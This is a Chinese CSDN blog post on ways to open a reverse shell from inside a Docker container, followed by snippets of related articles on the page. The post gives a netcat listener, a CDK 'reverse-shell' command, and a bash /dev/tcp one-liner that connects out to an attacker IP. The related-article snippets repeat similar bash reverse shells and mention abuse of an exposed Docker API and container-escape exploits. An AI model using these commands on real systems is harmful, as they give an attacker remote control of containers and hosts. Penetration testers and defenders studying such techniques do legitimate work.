Docker反弹shell

最新推荐文章于 2024-05-08 04:12:28 发布
最新推荐文章于 2024-05-08 04:12:28 发布
阅读量2k 收藏 1
点赞数
文章标签： docker 服务器 运维
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Fly_hps/article/details/122174251
版权

文章前言

本篇文章我们主要介绍一些在Docker中反弹shell到远程服务器的方法

常见方法

Step 1：在远程服务器端监听端口

nc -lnvp 9999

 Step 2：通过CDK反弹shell

#命令格式
cdk run reverse-shell <ip>:<port>

#使用实例
cdk run reverse-shell 192.168.17.143:9999

 Step 3：成功获取到shell

 其他技巧

我们还可以使用反引号来反弹shell

`/bin/bash -i >& /dev/tcp/192.168.17.143/9999 0>&1`

 成功反弹shell：

FLy_鹏程万里
关注
web渗透测试漏洞复现：docker API未授权漏洞复现并getshell
HACKONE的博客
03-28 346
总结一句话：该命令的作用是在IP为192.168.1.106的远程Docker守护进程上，基于镜像ID为2dc39ba059dc的镜像启动一个新的交互式容器，并挂载主机的根目录到容器内的/mnt目录，然后在新容器中打开一个Bash shell。由于Docker API提供了丰富的功能，它不仅为Docker CLI（命令行界面）提供底层支持，也被许多其他工具和平台广泛采用，如Kubernetes、Docker Compose等，实现了对Docker容器的自动化管理和大规模部署。
log4j2核弹级漏洞靶场复现（反弹shell）
m0_56773673的博客
01-04 4129
十分钟log4j2靶场漏洞复现！！！
容器内反弹shell的51种姿势
帮助别人等于帮助自己 ——MXi4oyu
11-19 1401
什么是反弹shell？ 反弹shell（reverse shell），就是控制端监听在某TCP/UDP端口，被控端发起请求到该端口，并将其命令行的输入输出转到控制端。reverse shell与telnet，ssh等标准shell对应，本质上是网络概念的客户端与服务端的角色反转。 为什么要反弹shell？ 通常用于被控端因防火墙受限、权限不足、端口被占用等情形。 举例：假设我们攻击了一台机器，打开了该机器的一个端口，攻击者在自己的机器去连接目标机器（目标ip：目标机器端口），这是比较常规的形式，我们叫做正向
Struts2漏洞导致的反弹shell——青藤云安全使用的是agent进程采集器进行检测
djph26741的博客
07-22 1012
安全老司机 | Struts2漏洞爆发后，与黑客的一次正面交锋 from：https://zhuanlan.zhihu.com/p/66122521 备注： 青藤云安全：——用的是进程信息采集器 通过对用户进程行为的实时监控，结合行为分析，及时发现非法shell连接引起的反弹shell行为，可以有效地感知0Day漏洞利用的行为痕迹，可以提供反向shell...
docker未授权访问反弹shell
giaogiao123的博客
07-23 539
标题docker未授权访问反弹shell 首先我们要扫描端口“2375“ 发现目标端口2375开放，尝试访问ip:2375/version 目标靶机ip：192.168.30.101 （cente os 7） 攻击kali ip： 192.168.30.100 （kali2020.3） 访问出现版本泄露而且2375端口开放说明有未授权访问漏洞 在kali上开启监听1111端口 **nc -lvp 1111** 输入以下命令 ip为目标ip docker -H tcp://192.168.30.10
执行容器内的shell_Docker容器逃逸漏洞复现（CVE-2020-15257）
weixin_31014131的博客
01-14 254
一、漏洞介绍漏洞原理Containerd 是一个控制 runC 的守护进程，提供命令行客户端和API，用于在一个机器上管理容器。当在docker使用–net=host参数启动，与宿主机共享net namespace时，容器中的攻击者可以绕过访问权限访问 containerd 的控制API 进而导致权限提升，从而实现Docker容器逃逸。Containerd是行业标准的容器运行时，可作为Linux和...
2024年【软件测试】探索和学习SDLC与软件测试的关系，顺利通过阿里软件测试岗面试
最新发布
2401_84563734的博客
05-08 468
Testing is part of every stage in modern SDLC models. (整合：在现代SDLC模型的每个阶段，测试都是一个组成部分。
反弹shell方法
s0mor
08-16 708
Linux: hacker: 192.168.188.63 (kali) 目标: 192.168.72.130 (ubuntu) kali: 监听指定端口： nc -lvp 1234 ubuntu: 反弹shell 方法一 bash: bash -i >& /dev/tcp/192.168.188.63/1234 0>&1 方法二 python: ...
Struts2-052复现，并反弹Shell
Becktick的博客
03-31 1285
Struts2-052复现，并反弹Shell 技术无罪，请勿用于恶意用途 转载请注明出处! 测试机:kali linux，win10 工具：burp 靶机:cenOS7 测试机IP:192.168.213.136 靶机IP:192.168.213.138 环境: docker 一. 环境搭建 docker搭建可以参考这位小姐姐的文章： http://bbs.dark5.net/?thread-24...
Weblogic反序列化漏洞(CVE-2018-2628)实现反弹shell
Becktick的博客
04-25 2049
Weblogic反序列化漏洞（CVE-2018-2628）反弹shell 技术无罪，请勿用于恶意用途 转载请注明出处! 看见大部分复现教程都是弹计算器，创建文件夹，对于一些人来说不能满足需求，所以我准备做一个反弹shell的复现。 测试机:MacBook-Air 测试机IP:192.168.0.100 靶机IP:192.168.0.100:7001 环境: docker 工具：CVE-2018-2...
CVE-2017-12149JBOSSas6.X反序列化(反弹shell版)
08-08
CVE-2017-12149 JBOSS as 6.X反序列化(反弹shell版)
apache-CVE-2021-41773[42013]-反弹shell
csd_ct的专栏
02-06 1832
CVE-2021-41773-反弹shell apache-CVE-2021-41773/42013 中存在RCE，可远程执行代码，本想利用bash反弹一个shell,奈何一直没有成功 ‘’’ bash -i >& /de/tcp/ip/port 0>&1 ‘’’ 经典的bash反弹，确定环境和语句都没问题后，本地查看了靶机的日志，看到有如下报错， 很奇怪，为什么会有一个syntax error:Bad fd number的错误呢，而在本地kali中直接执行该语句，是没有问题的
centos系统-docker容器逃逸
suo_y的博客
04-20 1413
docker-runc CVE-2019-5736（runC容器逃逸漏洞） 1、准备漏洞环境： curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o install.sh && bash install.sh 2、下载poc，编译脚本 a）下载poc：https://github.com/Frichetten/CVE-2019-5736-PoC b）修改payload
反弹shell初识
无痕的博客
11-01 4135
反弹shell的指令与演示
浅谈反弹shell
weixin_53284312的博客
01-12 2500
反弹shell
云上攻防-云原生篇&Docker安全&系统内核&版本漏洞&CDK自动利用&容器逃逸
siu~
03-03 1394
1、云原生-Docker安全-容器逃逸&内核漏洞 2、云原生-Docker安全-容器逃逸&版本漏洞 3、云原生-Docker安全-容器逃逸&CDK自动化
docker逃逸的几种方法以及其原理
热门推荐
Shanfenglan's blog
10-22 12万+
CATALOG前言利用dirty cow来进行docker逃逸1.前置知识2.利用dirty cow与VDSO来实现docker逃逸的过程3.利用过程1.判断是否为docker环境2.下载脚本3.利用脚本4.利用结果通过cve-2019-5736来达到docker逃逸1.利用原理与条件2.漏洞触发过程3.具体操作第一步：确定docker环境第二步：下载利用脚本并修改第三步：编译脚本第四步：将编译好的main文件上传到docker中第五步：执行脚本并等待此docker再次被exec4.对此种方式利用的理解配置
Linux渗透之反弹Shell命令解析
deeplearnings的博客
08-18 9892
前言 当我们在渗透Linux主机时，反弹一个交互的shell是非常有必要的。在搜索引擎上搜索关键字“Linux 反弹shell”，会出现一大堆相关文章，但是其内容不但雷同，而且都仅仅是告诉我们执行这个命令就可以反弹shell了，却没有一篇文章介绍这些命令究竟是如何实现反弹shell的。既然大牛们懒得科普，那我就只好自己动手了。本文就来探讨一下相关命令实现的原理。 B
后渗透——内网转发之反弹shell
爱国小白帽
03-16 3357
内网转发目的 渗透测试中，我们往往会面对十分复杂的内网环境。比如最常用的防火墙，它会限制特定端口的数据包出入。 内网转发三种形式 反弹shell 在攻击者机器，获取受害者机器的命令行 反弹端口 受害者服务器的某一个端口不能访问，我们通过反弹端口的形式，让攻击者能够访问该端口 也叫端口转发 反弹代理 将攻击者的流量，转发到内网其他服务器上 实验环境： 瑞士军刀nc Windows ...
docker 单机shell脚本
08-17
对于在 Docker 单机环境中运行 Shell 脚本，你可以采取以下步骤： 1. 创建一个 Shell 脚本文件，例如 `script.sh`，并确保文件中的第一行指定了正确的解释器，例如 `#!/bin/sh`。 2. 在 Dockerfile 中使用 `COPY` 命令将脚本文件复制到 Docker 镜像中的适当位置。例如，将脚本文件复制到容器的 `/app` 目录下： ```Dockerfile COPY script.sh /app/ ``` 3. 在 Dockerfile 中使用 `RUN` 命令来执行脚本。例如： ```Dockerfile RUN chmod +x /app/script.sh RUN /app/script.sh ``` 第一行 `chmod +x` 是为了给脚本添加可执行权限，第二行 `/app/script.sh` 是运行脚本。 这样，当你构建和运行 Docker 容器时，脚本将在容器中自动执行。 请注意，这只是一个示例，并且假设你已经有一个适当的 Dockerfile 和 Shell 脚本文件。你可以根据具体需求进行调整。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

FLy_鹏程万里

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值